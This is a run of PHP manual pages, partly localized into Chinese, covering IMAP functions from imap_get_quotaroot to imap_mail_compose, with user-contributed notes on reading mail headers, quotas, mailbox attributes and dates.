imap_fetchstructure | 上一级 | imap_get_quotaroot


imap_get_quotaroot

(PHP 4 >= 4.3.0, PHP 5)

imap_get_quotaroot -- Retrieve the quota settings per user

Description

array imap_get_quotaroot ( resource imap_stream, string quota_root )

Returns an array of integer values pertaining to the specified user mailbox. All values contain a key based upon the resource name, and a corresponding array with the usage and limit values within.

The limit value represents the total amount of space allowed for this user's total mailbox usage. The usage value represents the user's current total mailbox capacity. This function will return FALSE in the case of call failure, and an array of information about the connection upon an un-parsable response from the server.

This function is currently only available to users of the c-client2000 or greater library.

imap_stream should be the value returned from an imap_open() call. This stream should be opened as the user whose mailbox you wish to check. quota_root should normally be in the form of which mailbox (i.e. INBOX).

例子 1. imap_get_quotaroot() example

<?php
$mbox = imap_open("{your.imap.host}", "kalowsky", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
   $storage = $quota_values['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota_values['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE usage level is: " .  $message['limit'];

   /* ...  */

}

imap_close($mbox);
?>

See also imap_open(),
imap_set_quota() and
imap_get_quota().

add a note add a note User Contributed Notes
uphonesimon at gmail dot com
22-Sep-2005 07:37
just to make a note for all the people that are wondering the differences between $quota['STORAGE'] and $quot['MESSAGE']
the $quot['STORAGE'] is the size of the mailbox in KB
but $quota['MESSAGE'] is actually the number of messages stored in the mailbox and the up limit of the total messages allowed
rodrigo dot tsuru at tsuru dot net
16-Sep-2004 02:07
The example above isnt right. Replace with this:

<?php
$mbox = imap_open("{your.imap.host}", "kalowsky", "password", OP_HALFOPEN)
     or die("can't connect: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
   $storage = $quota['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE usage level is: " .  $message['limit'];

   /* ...  */

}

imap_close($mbox);
?>
thomas dot hebinck at digionline dot de
30-Aug-2003 10:55
['STORAGE']['usage'] and ['STORAGE']['limit'] are values in KB (1024 Bytes)
add a note add a note

后退 | 起点 | 前进
imap_get_quota | 上一级 | imap_getacl


imap_getacl

(PHP 5)

imap_getacl -- Gets the ACL for a given mailbox

Description

array imap_getacl ( resource stream_id, string mailbox )

警告

本函数暂无文档，仅有参数列表。

This function is currently only available to users of the c-client2000 or greater library.

See also imap_setacl().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_get_quotaroot | 上一级 | imap_getmailboxes


imap_getmailboxes

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

imap_getmailboxes -- Read the list of mailboxes, returning detailed information on each one

Description

array imap_getmailboxes ( resource imap_stream, string ref, string pattern )

Returns an array of objects containing mailbox information. Each object has the attributes name, specifying the full name of the mailbox; delimiter, which is the hierarchy delimiter for the part of the hierarchy this mailbox is in; and attributes. Attributes is a bitmask that can be tested against:

  • LATT_NOINFERIORS - This mailbox has no "children" (there are no mailboxes below this one).

  • LATT_NOSELECT - This is only a container, not a mailbox - you cannot open it.

  • LATT_MARKED - This mailbox is marked. Only used by UW-IMAPD.

  • LATT_UNMARKED - This mailbox is not marked. Only used by UW-IMAPD.

Mailbox names containing international Characters outside the printable ASCII range will be encoded and may be decoded by imap_utf7_decode().

ref should normally be just the server specification as described in imap_open(), and pattern specifies where in the mailbox hierarchy to start searching. If you want all mailboxes, pass '*' for pattern.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

例子 1. imap_getmailboxes() example

<?php
$mbox = imap_open("{your.imap.host}", "username", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$list = imap_getmailboxes($mbox, "{your.imap.host}", "*");
if (is_array($list)) {
    foreach ($list as $key => $val) {
        echo "($key) ";
        echo imap_utf7_decode($val->name) . ",";
        echo "'" . $val->delimiter . "',";
        echo $val->attributes . "<br />\n";
    }
} else {
    echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

See also imap_getsubscribed().

add a note add a note User Contributed Notes
emielbom at hotmail dot com
04-Feb-2006 11:09
i was looking for a function to test the attributes.
and it was hard to find an answer or code.

Maybe there is a function availeble, but i couldn't find it.

the first function: returns all mailboxes in on the server

The second function: returns a bitstring from the attr_number returned by getmailboxes()

The tirth function: returns an array with the active attributes on the specific mailbox

Last Line: is a combination of the functions: the output is, any map witch can hold no mail but only sub boxes...

function getFolders($mailbox, $serverString) {

   $list = imap_getmailboxes($mailbox, $serverString, "*");
   if (is_array($list)) {
       foreach ($list as $key => $val) {
           $mapname = str_replace($serverString, "", imap_utf7_decode($val->name));
           if ($mapname[0] != ".") {
               $list_folders[$key]['name'] = $mapname;
               $list_folders[$key]['delimiter'] = $val->delimiter;
               $list_folders[$key]['attributes'] = $val->attributes;
           }

       }
   } else {
       echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
   }

   return $list_folders;
}

function IntToBin($number) {
   $BitWaarde = 1;
   $IntNum = $number;
   $BinString = "";

   if ($IntNum > 0) {

       // bepaal de max bitwaarde aan de hand van $IntNum
       while ($IntNum > $BitWaarde) {
           $BitWaarde = $BitWaarde * 2;
       }

       // maken van een binaire string.
       while ($BitWaarde >= 1 ) {
           if ($IntNum < $BitWaarde) {
               if ($BinString != "") $BinString .= "0";
           } else {
               $BinString .= "1";
               $IntNum = $IntNum-$BitWaarde;
           }
           $BitWaarde = $BitWaarde / 2;
       }

   }

   return $BinString;
}

function Attributes($BinString) {

   $BinInt = (int)$BinString;
   if ($BinInt >=1000){
       $setAttribute['LATT_UNMARKED'] = true;
       $BinInt = $BinInt-1000;
   } else $setAttribute['LATT_UNMARKED'] = false;

   if ($BinInt >=100){
       $setAttribute['LATT_MARKED'] = true;
       $BinInt = $BinInt-100;
   } else $setAttribute['LATT_MARKED'] = false;

   if ($BinInt >=10){
       $setAttribute['LATT_NOSELECT'] = true;
       $BinInt = $BinInt-10;
   } else $setAttribute['LATT_NOSELECT'] = false;

   if ($BinInt >=1){
       $setAttribute['LATT_NOINFERIORS'] = true;
       $BinInt = $BinInt-1;
   } else $setAttribute['LATT_NOINFERIORS'] = false;

   return $setAttribute;
}

foreach (getFolders($mailbox, $config['Server_string']) as $key => $val) {
                       $Attr = Attributes(IntToBin((int)$val['attributes']));
                       if (!$Attr['LATT_NOINFERIORS']) {
                           echo "<option value='".$val['name']."'>".$val['name']."</option>";
                       }
                   }
ad-rotator.com
05-May-2004 04:17
In case you print_r() or var_dump() the object and see an int for attribute, these are the constant integers for the bitmask.

1 LATT_NOINFERIORS
2 LATT_NOSELECT
4 LATT_MARKED
8 LATT_UNMARKED
foom at fuhm dot NO_supercalifragilisticexpialidocious_SPAM dot net
28-Aug-2001 08:42
The list of mailbox attributes in this document is very misleading. In particular the explanation of noinferiors is just wrong. It does not mean that the mailbox currently has no children, it means that it *cannot* have children ever. Also, it is untrue that marked and unmarked are only used by UW-IMAP. They are in the official IMAP specification and are used by at least Courier-imap as well.

One thing to watch out for, however, is broken IMAP servers which do send \Noinferiors when they mean that there are currently no children.

From the IMAP4rev1 specs (RFC 2060):
     \Noinferiors

         It is not possible for any child levels of hierarchy to exist
         under this name; no child levels exist now and none can be
         created in the future.

     \Noselect

         It is not possible to use this name as a selectable mailbox.

     \Marked

         The mailbox has been marked "interesting" by the server; the
         mailbox probably contains messages that have been added since
         the last time the mailbox was selected.

     \Unmarked

         The mailbox does not contain any additional messages since the
         last time the mailbox was selected.
ROlsthoorn at mindport dot com
10-Nov-1999 03:48
I have tried the same thing with RedHat 6.1 (Apache 1.3.6/imap 4.5/mod_php3-3.0.8) to my local mail server. The same error: Fatal error: Call to unsupported or undefined function imap_getmailboxes() in occurred: ...

There is no symbol imap_getmailboxes in the libphp3.so
add a note add a note

后退 | 起点 | 前进
imap_getacl | 上一级 | imap_getsubscribed


imap_getsubscribed

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

imap_getsubscribed -- List all the subscribed mailboxes

Description

array imap_getsubscribed ( resource imap_stream, string ref, string pattern )

This function is identical to imap_getmailboxes(), except that it only returns mailboxes that the user is subscribed to.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_getmailboxes | 上一级 | imap_header


imap_header

(PHP 3, PHP 4, PHP 5)

imap_header -- 别名 imap_headerinfo()

说明

本函数是该函数的别名： imap_headerinfo().

add a note add a note User Contributed Notes
chorkt
28-Jun-2003 12:34
i was having a hard time with the notes on the page but this works... It's simply getting out the e-mail address from the header

for ($i = 1; $i <= imap_num_msg($mbox); $i++)
{
  $header = imap_headerinfo($mbox, $i, 80, 80);
  $fromaddress[$i] = $header->from[0]->host;
  $fromname[$i] = $header->from[0]->mailbox;
  $from[$i]= $fromname[$i]."@".$fromaddress[$i];

  $subject[$i] = $header->fetchsubject;
  print "<br>".$from[$i]." ".$subject[$i]." \n  ";

}
burkard.schemmel [AT] web.de
19-May-2003 04:50
I've tried several times to get the imap_header to work. Here is the solution. And, it's the only correct one desperate all other comments on this page!

$mFrom = $oHeader->from;
$FROM = $mFrom[0]->mailbox."@".$mFrom[0]->host;
$NAME = $mFrom[0]->personal;

Relating object is $oHeader while $FROM will contain the mail address and $NAME the sender's name (if set).

Greetings from Bavaria ;-)
keeper at odi dot com dot br
02-Mar-2003 04:36
For those who are trying to decode the header take a loke ate the function imap_mime_header_decode()

Bye

Dotrinador
DokFLeed dokfleed at dokfleed dot com
28-Jan-2003 03:55
After getting lost for days,i gathered all what i could find plus
the codes i tweaked according to the manual , here they go,
all formatted and ready to use ,
this will grab all the messages in a mail box, and read them.
You will need to replace Username & Password by yours, ( i
dont know what the "adl" or why isnt it showing ( codes i
gathered , their credits goes to whoever they belong)

==============================
Start of Code
==============================
//It opens up an IMAP connection to the mailserver specified
//by $MAILSERVER, passing in your username and password.
//It then get a list of all the messgae headers and in a loop,
//prints them all out. Besides printing them out, click the link
//to read it , passing the message number to the function
//viewmailz

function readmailz(){

$MAILSERVER="{mail.host.com:143}";
or $MAILSERVER="{localhost:143}";
$PHP_AUTH_USER = "USERNAME";
$PHP_AUTH_PW = "PASSWORD";
$mbox=imap_open($MAILSERVER,
       $PHP_AUTH_USER,
       $PHP_AUTH_PW);
echo "Number of Total Emails: "
     .imap_num_msg($mbox);
echo "  Number of Recent Emails: "
     .imap_num_recent($mbox)."<BR><BR>";
$headers=imap_headers($mbox);

for($x=0; $x < count($headers); $x++) {
   $idx=($x+1);
   echo $idx."  <a href=\"$PHP_SELF?num=$idx\">
                 $headers[$x]
                   </a><br>";

}
imap_close($mbox);
}

//viewmailz opens up the IMAP connection the same as
// above, and gets the mail message's header information and
//prints it out.
//It then reads in the body of the mail message and prints
//that out to the screen.
function viewmailz($num){
$MAILSERVER="{mail.host.com:143}";
or $MAILSERVER="{localhost:143}";
$PHP_AUTH_USER = "USERNAME";
$PHP_AUTH_PW = "PASSWORD";

$mbox=imap_open($MAILSERVER,
               $PHP_AUTH_USER,
               $PHP_AUTH_PW);
$header=imap_headerinfo($mbox,
                       $num,
                       80,80);
$from = $header->from;
$udate=$header->udate;
$date=Date("F j, Y, g:i a", $udate);
echo "Message Number: ". $num."<br>";
$subject= $header->fetchsubject;
if (is_array($from)){
while(list($key, $val) = each($from)) {
echo "From Address:  ";
echo $fromaddr=sprintf("%s@%s",
                       $from[0]->mailbox,
                       $from[0]->host).
                       "<BR>";
echo "Personal    :  ".
     $from[0]->personal.
     "<br>";
echo "Adl        :  ".
     $from[0]->adl.
     "<br>";
echo "Mailbox    :  ".
     $from[0]->mailbox.
     "<br>";
echo "Host        :  ".
     $from[0]->host.
     "<br>";
echo "Subject    :  ".
     $subject.
     "<br>";
echo "Date        :  ".
     $date.
     "<br>";
echo "To Address  :  ".
     $header->toaddress.
     "<br><BR><BR>";
}
}

echo imap_body($mbox,$num).
     "<br>END OF BODY<br>";

imap_close($mbox);
}

==========================
END OF Code
==========================
gungp720 at yahoo dot com
20-Nov-2002 05:02
To convert date format from mail header to dd/mm/yyyy H:i use this :
<?
$tgl1 = strtotime($msg->date); //convert to timestamp
$tgl2 = date("d/m/Y H:i",$tgl1); //format date from timestamp
echo $tgl2;
?>
hope this help :)
shader76
04-Oct-2002 08:49
if you need to grab other fields that are not parsed out by imap_header then use
imap_fetchheader to retrieve the entire email header and do the work yourself.
15-May-2002 08:08
I just wanted to state what all these variables were producing considering it isnt documented anywhere that I have been able to find on this site:

the object that imap_mailboxmsgs returns has the following fields for the pop3 driver:

array(
     Unread =>
     Deleted =>
     Nmsgs =>
     Size=>
     Date=>
     Driver=>
     Mailbox=>
     Recent=>
)

imap_header returns the following array for the pop3 driver:

stdClass Object (
   date=>
   Date=>
   subject=>
   Subject=>
   toaddress=>
   to=> array stdClass Object (
       mailbox=>
       host=>
     )
   fromaddress=>
   from=> array stdClass Object (
       personal=>
       mailbox=>
       host=>
   )
   reply_toaddress=>
   reply_to=> array stdClass Object (
       personal=>
       mailbox=>
       host=>
   )
   senderaddress=>
   sender => array stdClass Object (
       personal=>
       mailbox=>
       host=>
   )
   Recent=>
   Unseen=>
   Flagged=>
   Answered=>
   Deleted=>
   Draft=>
   Msgno=>
   MailDate=>
   Size=>
   udate=>
)

Also, if you are using a pop3 server and you are having difficulties deleting messages, you will need to call imap_expunge immediately after your call to imap_delete. (this was posted somewhere else..  thanks for that!!)

feel free to drop me a line if this helped you.  Happy coding.
hnesland at samsen dot com
05-Feb-2002 01:36
A way to print your own specified date:

$date = date('d F Y (G:i:s)',
strtotime(strip_tags($headerinfo->udate)));
jwilson at ecominteractive dot net
07-Sep-2001 11:20
It is explained else where on the site but something I struggled with.

To find the size of a message use:

$sizefeed1 = imap_fetchstructure($feed,$messagenumber);
$sizefeed2 = $sizefeed1->bytes;
$size = "$sizefeed2 bytes";
alpha_lam at yahoo dot com dot hk
11-Feb-2001 12:38
I've got a problem when facing some encoded subject or from header like:
=?big5?B?uXG4o7ZXpEg3MTEw?= or
=?iso-8859-1?Q?A7=EB=B2=BC=B6=7D=A9l=21?=
this problem only appears when the poster is using non-Misco$oft reader, and i lastly find the way to solve.
For the =?big5?B?, the encode method is base64, so you can use base64_decode to decode it to the original one, you can use the following to check and decode:

<?php

if(ereg("=\?.{0,}\?[Bb]\?",$strHead)){
  $arrHead=split("=\?.{0,}\?[Bb]\?",$strHead);
  while(list($key,$value)=each($arrHead)){
   if(ereg("\?=",$value)){
     $arrTemp=split("\?=",$value);
     $arrTemp[0]=base64_decode($arrTemp[0]);
     $arrHead[$key]=join("",$arrTemp);
   }
  }
  $strHead=join("",$arrHead);
}

?>

For =?iso-8859-1?Q?, it uses quoted printable to encode, you can use quoted_printable_decode to decode, example:

<?php

if(ereg("=\?.{0,}\?Q\?",$strHead)){
  $strHead=quoted_printable_decode($strHead);
  $strHead=ereg_replace("=\?.{0,}\?[Qq]\?","",$strHead);
  $strHead=ereg_replace("\?=","",$strHead);
}

?>
lint at phpcult dot com
03-Aug-2000 09:51
here's something even easier:
<br>
<pre>
$header = imap_header($mail_connection, msgnum);
$from = htmlspecialchars($header->fromaddress);
echo $from;
</pre>
mayorga at tadecom dot com
03-Aug-2000 02:44
If you want to retrieve From address, not From name, use this:
$from=$header->from; $fromaddr=sprintf("%s@%s",$from[0]->mailbox,$from[0]->host);
G dot li at open dot ac dot uk
06-Jul-2000 06:26
Yes, the ref. is quit confusing (to me at least). It will be wise (after spent many hours) to test the type of variable first before it disappointe you. I find $header->From retrurns String, $header->from returns array and its elements are object. Therefore if you want get sender's name for example,
you need: $from = $header->from;

       if (is_array($from)){

       while(list($key, $val) = each($from)) {

       echo $from[0]->personal;
       echo $from[0]->adl;
       echo $from[0]->mailbox;
       echo $from[0]->host;

       }
       }
you will find $header_from is an one element array and this element is an object. Hope anyone else will not wast time here to figure out why retrun is empty.
ed at lexingrad dot net
18-Apr-2000 07:06
Use something like this to display the number
of new messages:

<pre>
/*$new_messages = 0;
       for( $i=0 ; $i < $nummsg ; $i++ ) {
             $msg = imap_header($mailbox, $msg_array[$i]);
         if ($msg->Unseen == "U"|| $msg->Recent == "N") {
         $new_messages = $new_messages + 1;
               }
       }
       echo "<br>  $new_messages  NEW Messages";*/
</pre>
uncommented of course  : ~)
hpkevertje at hotmail dot com
27-Mar-2000 10:31
To use the from[] and to[] functions, try this:
<PRE>$from=header->from;</PRE>
<PRE>$fromadr=$from->presonal;</PRE>
aragorn at afrodita dot phys,msu dot su
25-Mar-2000 11:34
Message size can be obtained by using this statement:
<PRE>
$str = imap_fetchstructure($mbox,$msgn);
</PRE>
size in bytes is <B>$str->bytes</B>.
add a note add a note

后退 | 起点 | 前进
imap_getsubscribed | 上一级 | imap_headerinfo


imap_headerinfo

(PHP 3, PHP 4, PHP 5)

imap_headerinfo -- Read the header of the message

Description

object imap_headerinfo ( resource imap_stream, int msg_number [, int fromlength [, int subjectlength [, string defaulthost]]] )

This function returns an object of various header elements.

remail, date, Date, subject, Subject, in_reply_to, message_id,
newsgroups, followup_to, references

message flags:
Recent - 'R' if recent and seen,
'N' if recent and not seen,
' ' if not recent
Unseen - 'U' if not seen AND not recent,
' ' if seen OR not seen and recent
Answered -'A' if answered,
' ' if unanswered
Deleted - 'D' if deleted,
' ' if not deleted
Draft - 'X' if draft,
' ' if not draft
Flagged - 'F' if flagged,
' ' if not flagged

NOTE that the Recent/Unseen behavior is a little odd. If you want to
know if a message is Unseen, you must check for

Unseen == 'U' || Recent == 'N'

toaddress (full to: line, up to 1024 characters)

to[] (returns an array of objects from the To line, containing):
personal
adl
mailbox
host

fromaddress (full from: line, up to 1024 characters)

from[] (returns an array of objects from the From line, containing):
personal
adl
mailbox
host

ccaddress (full cc: line, up to 1024 characters)
cc[] (returns an array of objects from the Cc line, containing):
personal
adl
mailbox
host

bccaddress (full bcc line, up to 1024 characters)
bcc[] (returns an array of objects from the Bcc line, containing):
personal
adl
mailbox
host

reply_toaddress (full reply_to: line, up to 1024 characters)
reply_to[] (returns an array of objects from the Reply_to line,
containing):
personal
adl
mailbox
host

senderaddress (full sender: line, up to 1024 characters)
sender[] (returns an array of objects from the sender line, containing):
personal
adl
mailbox
host

return_path (full return-path: line, up to 1024 characters)
return_path[] (returns an array of objects from the return_path line,
containing):
personal
adl
mailbox
host

udate (mail message date in unix time)

fetchfrom (from line formatted to fit fromlength
characters)

fetchsubject (subject line formatted to fit subjectlength characters)

add a note add a note User Contributed Notes
mwwaygoo AT hotmail DOT com
02-Feb-2006 10:58
Thanks to scott AT fuzzygroup DOT com for the object thing. So to make it a bit easier in the future I wrote a function to convert the mixed array/object to a straight array structure, as its easier to work with.

<?php
function object_to_array($the_object)
{
   $the_array=array();
   if(!is_scalar($the_object))
   {
       foreach($the_object as $id => $object)
       {
           if(is_scalar($object))
           {
               $the_array[$id]=$object;
           }
           else
           {
               $the_array[$id]=object_to_array($object);
           }
       }
       return $the_array;
   }
   else
   {
       return $the_object;
   }
}

$array_header=object_to_array($header);

$from=$array_header['from']['0']['personal'];
$from_email=$array_header['from']['0']['mailbox'] . "@" . $array_header['from']['0']['host'];

?>
jh at junetz dot de
14-Sep-2004 10:33
"toaddress (full to: line, up to 1024 characters)"

Read that carefully. It means that this function does not unfold long header fields. I.e. the follwing example:

To: a@b.com,
   c@d.org

will result in only a@b.com appearing in "toaddress" (and "to", as a result). Other functions have to be used to retrieve the full To field value in all cases.

I guess the above also applies to CC and BCC fields, respectively.
james at cridland dot net
10-Nov-2003 09:35
The difference between 'date' and 'udate' seems to be rather more than just the way they're formatted.

'date' is the date that was written in the headers by the sender's mail client, and probably bears little to do with reality. It's dependent on your sender knowing what the correct time is; it could be out by a few minutes, days, months or even years.

'udate' is the real date that the e-mail hit your IMAP server.

Use 'udate' if you want to do neat stuff like work out how much e-mail you get sent on a daily basis - or, as I do, how much spam I get. Don't try it on 'date' unless you like knowing that you've got negative numbers of e-mails every now and again!
vhornik at seznam dot cz
06-Mar-2003 12:50
Note that msg_number is really just that = message sequence number. You can't use UID here as with other IMAP functions like imap_fetchheader() or imap_fetchstructure() with the FT_UID option.
jamie at coverallcrew dot com
04-Dec-2002 12:12
I was unable to get the message subject by calling imap_headerinfo AFTER calling imap_body. I flipped them (which makes more sense anyway in our usual understanding of e-mail messages) and it worked!

// so this code doesn't work:

//------------------------------------------------
for ($i = 1; $i <= imap_num_msg($mbox); $i++)
{
   $messageBody = imap_body($mbox, $i);
   $header = imap_headerinfo($mbox, $i, 80, 80);
   $subject= $header->fetchsubject;
  }

imap_close($mbox);
//------------------------------------------------

// but this code does:

//------------------------------------------------
for ($i = 1; $i <= imap_num_msg($mbox); $i++)
{
   $header = imap_headerinfo($mbox, $i, 80, 80);
   $subject= $header->fetchsubject;

   $messageBody = imap_body($mbox, $i);
  }

imap_close($mbox);
//------------------------------------------------

Hope this saves some headaches! Jamie
scott at fuzzygroup dot com
12-Nov-2002 01:13
If you want to extract values from to, from, or other header elements, they are an object and you need to loop over them i.e.

$header = imap_header($mbox, $message_id);
$from = $header->from;
foreach ($from as $id => $object) {
   $fromname = $object->personal;
   $fromaddress = $object->mailbox . "@" . $object->host;
}

Would give you two variables for the friendly from and the smtp from address

Thanks to www.natrak.net for help with this
jsmith at one dot net
13-Sep-2002 08:39
This is probably trivial to most people, but it wasn't obvious to me. When you call something like $header->from it returns an array of objects, but the array only contains one element. To call one of the from objects in the array, I used: $personal = $header->from[0]->personal;
to get the 'personal' name. Hope this helps.
jacky at jackyhung dot net
27-Jan-2002 04:32
There have something new header message went you open a nntp server

date.Date.subject.Subject.message_id
newsgroups.references.fromaddress
from.reply_toaddress
reply_to.senderaddress.sender
Recent,Unseen.Flagged.Answered
Deleted.Draft.Msgno,MailDate,Size,udate
robsiemb at NOSPAM dot crusoe dot net
15-May-2001 04:45
That's because the RECENT flag is different from the UNSEEN flag.  RECENT is not user-setable, and is dependent on wether a mailbox has been opened (or something?) since the message arrived.  Once a message is noted as RECENT to a client, the RECENT flag is cleared.  UNSEEN is user-setable however and what is typically known as the new message flag.
sjsobol at JustThe dot net
11-May-2001 12:58
I'm running php4.0.5 and C-client from UW IMAPD 4.7c2, but
I'm not running the UW IMAPD server, I'm running Cyrus. Cyrus
doesn't set Recent to N. To check whether a message is new I simply
check whether Unseen is set to "U".
mairsil at ii dot nl
31-Jan-2001 02:33
Well, duh. $header->fetchsubject prints a subjectline trimmed down to [subjectlength] characters.
So with $header = imap_headerinfo($mbox,$msgnum) it yields nothing.
Try it with $header = imap_headerinfo($mbox,$msgnum,80,80) and be amazed.
All comes down to RTFM as always...
cvincent at project802 dot net
29-Dec-2000 06:33
I tried to set $header = imap_headerinfo($mbox,$msgnum) and print $header->fetchsubject but it doesnt print anything, instead try $header->subject.
brichardson at lineone dot net
08-Dec-2000 12:00
Some buggy IMAP servers (e.g. the GroupWise Internet Agent) don't support this function - in that case use imap_fetch_overview instead.
add a note add a note

后退 | 起点 | 前进
imap_header | 上一级 | imap_headers


imap_headers

(PHP 3, PHP 4, PHP 5)

imap_headers -- Returns headers for all messages in a mailbox

Description

array imap_headers ( resource imap_stream )

Returns an array of string formatted with header info. One element per mail message.

add a note add a note User Contributed Notes
me at _spam_koenpasman dot nl
01-Aug-2005 01:41
A reaction to consult at pmkmedia dot com:

The negative results you are getting are due to your usage of microtime(). microtime() returns a string like this:
0.52234000 1122834868

First, the microseconds, then a space, and then a Unix Timestamp. A function like this corrects this:
<?php
function getmicrotime() {
   list($usec, $sec) = explode(' ', microtime());
   return ((float)$usec + (float)$sec);
}

$first = getmicrotime();

/* code.. */

echo 'parsetime: '.(getmicrotime()-$first);
?>

Then you won't get any negative parsetimes.
leo at blue-straggler dot com
12-Mar-2005 11:24
Inspection of TCP/IP packets traffic confirms that the imap_headers function causes at least PHP4.2.1 / Apache 1.3.24 / IMAP c-Client Version 2001 / Win2000) to retrieve complete messages, not only their headers. Leos Ondra
koas at karontek dot com
12-Jan-2005 12:29
When we started running a PHP script in our server that uses this function the server antivirus started throwing warnings about viruses found in files like c:\winnt\temp\message2

This is likely the antivirus founding virus in the attachments of the messages the function downloads. So we're inclined to think this function downloads the whole message, then parses it.
consult at pmkmedia dot com
14-Apr-2004 10:42
RE: jemore at n0spam dot m6net dot fr (13-Nov-2003 11:17)

A fallacious assertion, to be sure.

PMK Media ran an indicative test with a POP3 server and script on separate physical servers and indeed physical locations - the script in California and the mail server in Virginia (at least, presumably closer to the East Coast - Sprint Earthlink DSL).

The test code:
<?
   // connect to pop3 server first, then:
   $time = microtime();
   $headers = imap_headers($mbox);
   $timediff = microtime() - $time;
   echo "Time taken: ".$timediff;
   // disconnect...
?>

The page was refreshed several times to obtain average data.

With 2 small messages (total 4367 characters, 2 messages on the server):
Time taken: 0.12 (max, first run)
Time taken: 0.08 (average)

After sending a 2.8 megabyte attachment (total 3947423 characters, 3 messages on the server):
Time taken: 0.16 (max, first run)
Time taken: 0.11 (average)

The increase in execution time was 0.02 seconds. This would indicate a transfer rate of about 150 MB per second had attachments indeed been fetched.

A test on the theory that message bodies are downloaded was also conducted. Ten large messages were sent (200K each, 211590 characters) and the script above was executed after the first message and again after all ten. No messages were deleted during the course of the test:

After sending one 200K message (total 4159013 characters, 4 messages on the server):
Time taken: 0.25 (max, first run)
Time taken: 0.18 (average)

After sending ten 200K messages (total 6063323 characters, 13 messages on the server):
Time taken: 0.57 (sometimes -0.43)

The results are surprising - suggestions on why there is a negative time there? Perhaps the way the interpreter handles floating point arithmetic or fetches the time. Notice that 1-(the negative value) is within the range of positive values that are produced.

In any case, no discernable delay exists after fetching these message headers, and definitely not the two orders of magnitude premised in message bodies or attachments being transferred.

Verily, imap_headers() does exactly and only what it claims to do.

PMK Media
http://www.pmkmedia.com
jemore at n0spam dot m6net dot fr
14-Nov-2003 06:17
You have to notice that the imap_headers() function will download the whole messages, body (and attachements) included, and save them in a temporary directory before processing. I was hoping that this function will download only headers, but with pop3 it doesnt act like this.
add a note add a note

后退 | 起点 | 前进
imap_headerinfo | 上一级 | imap_last_error


imap_last_error

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

imap_last_error -- This function returns the last IMAP error (if any) that occurred during this page request

Description

string imap_last_error ( void )

This function returns the full text of the last IMAP error message that occurred on the current page. The error stack is untouched; calling imap_last_error() subsequently, with no intervening errors, will return the same error.

See also: imap_errors().

add a note add a note User Contributed Notes
josh at snaphat dot com
30-Nov-2003 02:06
A simple login error test:
<?php
$mbox = imap_open ("{www.yoursite.com:143}INBOX", "$username", "$password");
if ( $mbox === false ) {
       exit ("Can't connect: " . imap_last_error() ."\n");
}
else
{
       echo"Logined:";
       //do stuff
}
?>
add a note add a note

后退 | 起点 | 前进
imap_headers | 上一级 | imap_list


imap_list

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

imap_list -- Read the list of mailboxes

Description

array imap_list ( resource imap_stream, string ref, string pattern )

Returns an array containing the names of the mailboxes. See imap_getmailboxes() for a description of ref and pattern.

例子 1. imap_list() example

<?php
$mbox = imap_open("{your.imap.host}", "username", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$list = imap_list($mbox, "{your.imap.host}", "*");
if (is_array($list)) {
    foreach ($list as $val) {
        echo imap_utf7_decode($val) . "<br />\n";
    }
} else {
    echo "imap_list failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

See also: imap_getmailboxes().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_last_error | 上一级 | imap_listmailbox


imap_listmailbox

(PHP 3, PHP 4, PHP 5)

imap_listmailbox -- 别名 imap_list()

说明

本函数是该函数的别名： imap_list().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_list | 上一级 | imap_listscan


imap_listscan

(no version information, might be only in CVS)

imap_listscan -- Read the list of mailboxes, takes a string to search for in the text of the mailbox

Description

array imap_listscan ( resource imap_stream, string ref, string pattern, string content )

Returns an array containing the names of the mailboxes that have content in the text of the mailbox.

This function is similar to imap_listmailbox(), but it will additionally check for the presence of the string content inside the mailbox data.

See imap_getmailboxes() for a description of ref and pattern.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_listmailbox | 上一级 | imap_listsubscribed


imap_listsubscribed

(PHP 3, PHP 4, PHP 5)

imap_listsubscribed -- 别名 imap_lsub()

说明

本函数是该函数的别名： imap_lsub().

add a note add a note User Contributed Notes
chris at brenden dot com
16-Jan-2000 02:21
imap_listsubscribed() has been changed (or atleast I think has been) in php4b4 or the current CVS version.

The new function call is imap_lsub() it works the same as imap_listsubscribed()...
add a note add a note

后退 | 起点 | 前进
imap_listscan | 上一级 | imap_lsub


imap_lsub

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

imap_lsub -- List all the subscribed mailboxes

Description

array imap_lsub ( resource imap_stream, string ref, string pattern )

Returns an array of all the mailboxes that you have subscribed.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_listsubscribed | 上一级 | imap_mail_compose


imap_mail_compose

(PHP 3 >= 3.0.5, PHP 4, PHP 5)

imap_mail_compose -- Create a MIME message based on given envelope and body sections

Description

string imap_mail_compose ( array envelope, array body )

例子 1. imap_mail_compose() example

<?php

